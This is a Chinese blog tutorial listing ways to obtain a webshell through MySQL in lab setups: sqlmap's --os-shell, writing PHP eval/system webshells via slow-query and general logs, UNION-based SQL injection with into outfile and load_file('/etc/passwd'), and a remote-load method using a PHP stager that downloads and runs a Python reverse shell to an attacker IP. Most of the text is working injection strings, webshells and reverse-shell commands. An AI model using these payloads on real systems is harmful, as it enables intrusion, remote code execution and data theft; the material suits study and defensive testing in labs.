首页 > 数据库 >mysql_getshell的几种方法

mysql_getshell的几种方法

时间:2024-09-12 19:14:19浏览次数:1  
标签:getshell log admin 几种 file mysql php email select

mysql_getshell

一、mysql的--os-shell

利用原理

--os-shell就是使用udf提权获取WebShell。也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件。此为sqlmap的一个命令,利用这条命令的先决条件:

  • 要求为数据库DBA,使用--is-dba查看当前网站连接的数据库账号是否为mysql user表中的管理员如root,是则为dba

  • secure_file_priv没有具体值

  • 知道网站的绝对路径

漏洞复现

--os-shell

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --os-shell


which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
> 4
do you want sqlmap to further try to provoke the full path disclosure? [Y/n] y
[09:43:59] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: F:\phpstudy_pro\WWW
[09:44:36] [WARNING] unable to automatically parse any web server path
[09:44:36] [INFO] trying to upload the file stager on 'F:/phpstudy_pro/WWW/' via LIMIT 'LINES TERMINATED BY' method
[09:44:36] [INFO] the file stager has been successfully uploaded on 'F:/phpstudy_pro/WWW/' - http://127.0.0.1:80/tmpucfjt.php
[09:44:36] [INFO] the backdoor has been successfully uploaded on 'F:/phpstudy_pro/WWW/' - http://127.0.0.1:80/tmpbayce.php
sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):
-   tmpbayce.php 用来执行系统命令
-   tmpucfjt.php 用来上传文件
[09:44:36] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a]

command standard output: 'ms-vnwaexpuvbab\administrator'

image-20240828105419312

image-20240828105703346

image-20240828105749616

--sql-shell

我们可以先使用这个来执行一些sql语句

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --sql-shell

1、查看文件路径

select @@datadir;

2、查看secure_file_priv的值是否为空

select @@secure_file_priv;

返回结果如果有null,则无法写入。当为空的时候则什么都不返回

image-20240828110244292

secure_file_prive:MySQL的secure-file-prive参数是用来限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_prive= ,结果为空的话,表示允许任何文件读写

secure_file_prive=NULL,表示不允许任何文件读写

secure_file_prive=‘某个路径’,表示这个路径作为文件读写的路径

在mysql5.5版本前,都是默认为空,允许读取

在mysql5.6版本后,默认为NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改

二、慢日志getshell

慢日志:一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。

查看服务器默认时间值

show global variables like '%long_query_time%'
show global variables like '%long%'

image-20240828112933020

image-20240828113006715

查看慢日志参数

show global variables like '%slow%'

image-20240828113058413

慢日志参数修改getshell

set global slow_query_log=1 		# 打开慢日志
set global slow_query_log_file='C:\\phpStudy\\WWW\\test.php'	# 慢日志的路径【注意:一定要用双反斜杠】
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)		# 这儿11是超过慢日志的10秒时间


# 测试
http://192.168.111.128/test.php

image-20240828135717651

image-20240828135751682

三、general_log来getshell

介绍说明

相关参数一共有3个:general_log、log_output、general_log_file


show variables like 'general_log';   # 查看日志是否开启
set global general_log=on;   # 开启日志功能


show variables like 'general_log_file';    # 看看日志文件保存位置
set global general_log_file='C:/phpStudy/WWW/shell.php';   # 设置日志文件保存位置


show variables like 'log_output';  -- 看看日志输出类型  table或file
set global log_output='table'; -- 设置输出类型为 table
set global log_output='file';   -- 设置输出类型为file
一般log_output都是file,就是将日志存入文件中。table的话就是将日志存入数据库的日志表中。

漏洞复现

set global general_log='on';
set global general_log_file='C:/phpStudy/WWW/shell.php'
select '<?php @eval($_POST['pwd']);?>';

# 测试
http://192.168.111.128/shell.php

image-20240828120108687

image-20240828120147355

四、into_outfile方法getshell

漏洞复现

email=admin'			    #(报错)
email=admin' #  			#(不报错)
email=admin' or '1' #		# 成功登入

email=admin' union select 1,2,3,4,5,6,7,8 #
email=admin' union select 1,2,3,4,5,6,7,8,9 #
email=admin' union select 1,2,3,database(),5,6,7,8 #
email=admin' union select 1,2,3,user(),5,6,7,8 #
email=admin' union select 1,2,3,@@version,5,6,7,8 #
email=admin' union select 1,2,3,group_concat(schema_name),5,6,7,8 from information_schema.schemata#
email=admin' union select 1,2,3,group_concat(table_name),5,6,7,8 from information_schema.tables where table_schema=database()#
email=admin' union select 1,2,3,group_concat(column_name),5,6,7,8 from information_schema.columns where table_schema=database() and table_name='users'#
email=admin' union select 1,2,3,group_concat(concat_ws(':',first_name,last_name,pass,email,pass)),5,6,7,8 from ch16.users#
[email protected] : killerbeesareflying


email=admin' union select 1,2,3,load_file('/etc/passwd'),5,6,7,8 #
email=admin' union select 1,2,3,"<?php system($_POST['x']);?>",5,6,7,8 into outfile '/var/www/sqli_shell.php'#
email=admin' union select 1,2,3,load_file('/var/www/sqli_shell.php'),5,6,7,8 #

image-20240828155950037

image-20240828160043328

缺点

1、对web目录需要有写权限能够使用单引号(root)
2、知道网站绝对路径(phpinfo/php探针/通过报错等)
3、secure_file_priv为空

查看secure_file_priv参数,该参数是只读参数,不能使用set global命令修改,如果修改大概率会报错。

show global variables like '%secure%';

五、远程加载拿shell

# 准备脚本
//shell8888.py
export RHOST="10.10.10.128";export RPORT=8888;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
//get8888.php
<?php system('cd /tmp;wget http://10.10.10.128:81/shell8888.py;chmod +x shell8888.py;./shell8888.py')?>

# sqlmap上传get8888.php
//上传shell
sqlmap -u 'http://10.10.10.100/login.php' --data='email=admin&pass=admin&submit=Login' --file-write='get8888.php' --file-dest='/var/www/get8888.php'
 
# 本地开启监听
nc -lvvp 8888

# 本地开启web下载服务
php -S 0:81
 
# 浏览器远程访问加载get8888.php
http://10.10.10.100/shell8888.py

image-20240828153707662

六、数据库备份getshell

网站对上传的文件后缀进行过滤,不允许上传脚本类型文件如asp/php/jsp/aspx等。

而网站具有数据库备份功能,这时我们就可以将webshell格式先改为允许上传的文件格式,如jpg、gif等,然后,我们找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式。

获取网站根目录方式

(1)phpinfo()页面:最理想的情况,直接显示web路径

(2)web报错信息:可以通过各种fuzz尝试让目标报错,也有可能爆出绝对路径(单引号、参数报错)

(3)一些集成的web框架:如果目标站点是利用phpstudy、LAMPP等之类搭建的,可以猜测默认路径或者通过查看数据库保存的路径、配置文件路径等。

(4)搜索引擎、利用其他漏洞、中间件错误解析等

标签:getshell,log,admin,几种,file,mysql,php,email,select
From: https://www.cnblogs.com/carmi/p/18410869

相关文章

  • 【MySQL】表的约束
    目录......
  • python 异步的几种方式
    importasyncioimportrandomimportthreadingfromconcurrent.futuresimportThreadPoolExecutorimporttimedefblocking_task(x):time.sleep(2)thread_name()print(f'arg:{x}\n')returnx*2asyncdefunblocking_task(x):t......
  • MySQL学习笔记(四)MySQL慢查询优化
    慢日志查询慢速查询日志由执行时间超过long_query_time几秒并且至少需要min_examined_row_limit检查行的SQL语句组成long_query_timeSELECT@@long_query_time;--默认是10单位sSETGLOBALlong_query_time=1;--设置超过1s就算慢查min_examined_row_limitSEL......
  • MySQL——数据库的高级操作(二)用户管理(2)创建普通用户
            在创建新用户之前,可以通过SELECT语句查看mysql.user表中有哪些用户,查询结果如下:mysql>USEmysql;Databasechangedmysql>SELECTHost,User,authentication_stringFROMmysql.user;+-----------+------------------+-----------------------------......
  • MySQL——数据库的高级操作(二)用户管理(1)uer表
            每个软件都会对用户信息进行管理,MySQL也不例外,MySQL中的用户分为root用户和普通用户,root用户为超级管理员,具有所有权限,如创建用户、删除用户、管理用户等,而普通用户只拥有被赋予的某些权限。        在安装MySQL时,会自动安装一个名为mysql的数据库......
  • 基于SpringBoot+Vue的酷听音乐系统设计与实现(SpringBoot+Vue+MySQL+Tomcat)
    文章目录前言系统演示录像论文参考代码运行展示图技术框架SpringBoot技术介绍系统测试系统测试的目的系统功能测试推荐选题:代码参考实现案例找我做程序,有什么保障?联系我们前言......
  • DBA-MySQL巡检报告 模版
    DBA-MySQL巡检报告模版 -20240912——————————————————————————————————————————————————————————----2024年9月12日17:02:13----bayaim----以下内容纯属个人原创,纯属个人多年经验总结,非喜勿喷,----本巡检报告......
  • 避免数据复制延迟,解读GaussDB(for MySQL) 主备0延迟
    本文分享自华为云社区《【选择GaussDB(forMySQL)的十大理由】之一:主备0延迟》,作者: GaussDB数据库。复制延迟是传统MySQL架构难以消除的缺陷在企业级的生产环境中,MySQL通常使用集群架构,常见的有一主一从和一主多从,且在很多情况下都会面临主从复制延迟的问题。MySQL的复制延迟......
  • PbootCMS数据库配置,修改为Mysql数据库,配置Mysql出错解决办法
    在PbootCMS中,默认情况下使用的是SQLite数据库。如果您希望将数据库从SQLite更改为MySQL,可能会遇到一些配置上的问题。下面是针对配置MySQL数据库时可能出现的问题及解决办法的一些建议:配置MySQL数据库的步骤创建MySQL数据库:登录到您的MySQL服务器。创建一个......
  • 探索MySQL视图的无限可能:优化查询、增强数据安全与简化数据访问
     作者简介:我是团团儿,是一名专注于云计算领域的专业创作者,感谢大家的关注 座右铭:   云端筑梦,数据为翼,探索无限可能,引领云计算新纪元 个人主页:团儿.-CSDN博客目录前言:正文:1.视图的定义:2.视图的优点:简单化:安全性:逻辑数据独立性:3.创建单表视图创表:插入数据:创建......